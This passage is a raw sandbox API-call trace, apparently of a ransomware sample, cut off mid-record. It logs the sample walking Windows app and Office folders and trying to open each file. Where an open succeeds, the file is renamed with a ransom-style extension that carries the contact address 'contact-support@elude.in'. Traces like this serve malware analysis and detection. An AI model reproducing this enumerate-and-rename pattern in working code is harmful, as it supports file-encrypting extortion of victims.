(lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.156] Sleep (dwMilliseconds=0x1) [0243.162] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x67 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0243.162] GetProcessHeap () returned 0x630000 [0243.162] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5344) returned 0x6fe3bb0 [0243.162] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.169] Sleep (dwMilliseconds=0x1) [0243.180] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Solid.png", len=0x72 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Solid.png") returned 1 [0243.180] GetProcessHeap () returned 0x630000 [0243.180] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52f8) returned 0x6fe3bb0 [0243.180] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Solid.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_solid.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.181] Sleep (dwMilliseconds=0x1) [0243.201] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-24.png", len=0x97 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-24.png") returned 1 [0243.201] GetProcessHeap () returned 0x630000 [0243.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52ac) returned 0x6fe3bb0 [0243.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.201] Sleep (dwMilliseconds=0x1) [0243.217] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\StoreLogo.scale-100.png", len=0x8d | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\StoreLogo.scale-100.png") returned 1 [0243.217] GetProcessHeap () returned 0x630000 [0243.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x527c) returned 0x6fe3bb0 [0243.217] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.218] Sleep (dwMilliseconds=0x1) [0243.230] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-256.png", len=0x98 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-256.png") returned 1 [0243.230] GetProcessHeap () returned 0x630000 [0243.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5268) returned 0x6fe3bb0 [0243.230] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.231] Sleep (dwMilliseconds=0x1) [0243.251] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario3.png", len=0x6e | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario3.png") returned 1 [0243.251] GetProcessHeap () returned 0x630000 [0243.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5218) returned 0x6fe3bb0 [0243.251] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario3.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\herohelp\\scenario3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.257] Sleep (dwMilliseconds=0x1) [0243.279] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle.png", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle.png") returned 1 [0243.280] GetProcessHeap () returned 0x630000 [0243.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d4) returned 0x6fe3bb0 [0243.280] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\rounded rectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.312] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star.png", len=0x76 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star.png") returned 1 [0243.312] GetProcessHeap () returned 0x630000 [0243.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x515c) returned 0x6fe3bb0 [0243.313] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\4-Point Star.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\4-point star.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.319] Sleep (dwMilliseconds=0x1) [0243.337] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\BuilderLogo.png", len=0x70 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\BuilderLogo.png") returned 1 [0243.338] GetProcessHeap () returned 0x630000 [0243.338] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5138) returned 0x6fe3bb0 [0243.338] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\BuilderLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast\\builderlogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.344] Sleep (dwMilliseconds=0x1) [0243.347] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-white.png", len=0x7d | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-white.png") returned 1 [0243.347] GetProcessHeap () returned 0x630000 [0243.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5100) returned 0x6fe3bb0 [0243.347] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-125_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.347] Sleep (dwMilliseconds=0x1) [0243.369] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-white.png", len=0x81 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-white.png") returned 1 [0243.369] GetProcessHeap () returned 0x630000 [0243.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x507c) returned 0x6fe3bb0 [0243.369] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.370] Sleep (dwMilliseconds=0x1) [0243.387] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-black.png", len=0x81 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-black.png") returned 1 [0243.387] GetProcessHeap () returned 0x630000 [0243.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5078) returned 0x6fe3bb0 [0243.392] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.392] Sleep (dwMilliseconds=0x1) [0243.397] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-black.png", len=0x7d | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-black.png") returned 1 [0243.397] GetProcessHeap () returned 0x630000 [0243.397] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5054) returned 0x6fe3bb0 [0243.397] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-150_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.397] Sleep (dwMilliseconds=0x1) [0243.414] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-black.png", len=0x7f | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-black.png") returned 1 [0243.414] GetProcessHeap () returned 0x630000 [0243.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5000) returned 0x6fe3bb0 [0243.414] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-64_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.414] Sleep (dwMilliseconds=0x1) [0243.427] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_altform-unplated.png", len=0x81 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_altform-unplated.png") returned 1 [0243.427] GetProcessHeap () returned 0x630000 [0243.427] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fdc) returned 0x6fe3bb0 [0243.427] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.427] Sleep (dwMilliseconds=0x1) [0243.446] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256.png", len=0x71 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256.png") returned 1 [0243.446] GetProcessHeap () returned 0x630000 [0243.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f88) returned 0x6fe3bb0 [0243.447] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.447] Sleep (dwMilliseconds=0x1) [0243.502] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-white.png", len=0x7f | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-white.png") returned 1 [0243.502] GetProcessHeap () returned 0x630000 [0243.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f64) returned 0x6fe3bb0 [0243.502] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-16_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.502] Sleep (dwMilliseconds=0x1) [0244.304] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x5d | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0244.304] GetProcessHeap () returned 0x630000 [0244.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed8) returned 0x6fe3bb0 [0244.304] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.306] Sleep (dwMilliseconds=0x1) [0244.308] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", len=0x61 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml") returned 1 [0244.308] GetProcessHeap () returned 0x630000 [0244.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ed4) returned 0x6fe3bb0 [0244.308] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.308] Sleep (dwMilliseconds=0x1) [0244.328] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", len=0x6c | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js") returned 1 [0244.328] GetProcessHeap () returned 0x630000 [0244.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb0) returned 0x6fe3bb0 [0244.329] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.330] Sleep (dwMilliseconds=0x1) [0244.339] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", len=0x68 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned 1 [0244.339] GetProcessHeap () returned 0x630000 [0244.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eac) returned 0x6fe3bb0 [0244.339] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.344] Sleep (dwMilliseconds=0x1) [0244.362] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl", len=0x79 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl") returned 1 [0244.362] GetProcessHeap () returned 0x630000 [0244.362] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e88) returned 0x6fe3bb0 [0244.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0244.575] CloseHandle (hObject=0x6d4) returned 1 [0244.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.580] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2aebe60a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x31002d, 